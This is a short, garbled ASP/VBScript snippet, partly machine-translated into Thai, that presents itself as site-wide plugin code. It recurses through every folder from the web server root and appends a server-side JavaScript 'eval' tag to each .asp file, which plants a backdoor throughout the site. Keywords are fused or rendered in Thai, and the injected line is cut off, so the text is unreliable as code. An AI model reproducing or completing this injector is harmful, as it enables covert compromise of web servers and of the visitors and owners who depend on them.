รหัสสำหรับการใช้รหัสปลั๊กอินไซต์ทั้งหมด

-

หรอก

dimintfile

Server.ScriptTimeOut = 600

pH = server.mappath ("/")

SubinSertallfiles (เส้นทาง)

setfso = createObject ("Scripting.filesystemObject")

onerrorresumenext

setf = fso.getFolder (เส้นทาง)

setfc2 = f.files

foreachmyfileinfc2

iflcase (fso.getExtensionName (Path & "" & myfile.name)) = "asp" แล้ว

setfs1 = createObject ("scripting.filesystemobject")

settFile = fs1.opentextfile (path & "" & myfile.name, 8, false)

tfile.writeLine "<scriptrunat = serverlanguage = javascript> eval

อื่น

Insertallfiles (Newpath)

endif

tfile.close

ต่อไป

setFsubfolers = f.subfolders

foreachf1infsubfolers

newPath = path & "" & f1.name

Insertallfiles (Newpath)

ต่อไป

SettFile = ไม่มีอะไร

setfso = ไม่มีอะไร

enddub

-

-

callinsertallfiles (pH)

-